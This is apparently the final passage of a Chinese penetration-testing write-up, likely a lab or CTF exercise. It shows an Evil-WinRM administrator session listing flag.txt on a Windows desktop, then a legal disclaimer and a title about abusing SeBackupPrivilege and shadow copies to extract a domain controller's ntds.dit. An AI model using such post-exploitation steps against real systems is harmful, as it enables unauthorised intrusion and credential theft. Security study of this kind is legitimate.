Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>&nbsp;cd&nbsp;..
*Evil-WinRM* PS C:\Users\Administrator>&nbsp;cd&nbsp;"C:/Users/Administrator/Desktop/"
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

&nbsp; &nbsp; Directory: C:\Users\Administrator\Desktop

Mode &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LastWriteTime &nbsp; &nbsp; &nbsp; &nbsp; Length Name
---- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;------------- &nbsp; &nbsp; &nbsp; &nbsp; ------ ----
-a---- &nbsp; &nbsp; &nbsp; &nbsp; 3/3/2021 &nbsp; 6:05 AM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 37 flag.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop>

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：皇后红队 Asuna Asuna《【内网渗透】通过.NET反射强行激活SeBackupPrivilege，并配合VSS卷影拷贝绕过独占锁，最终拿下域控ntds.dit。》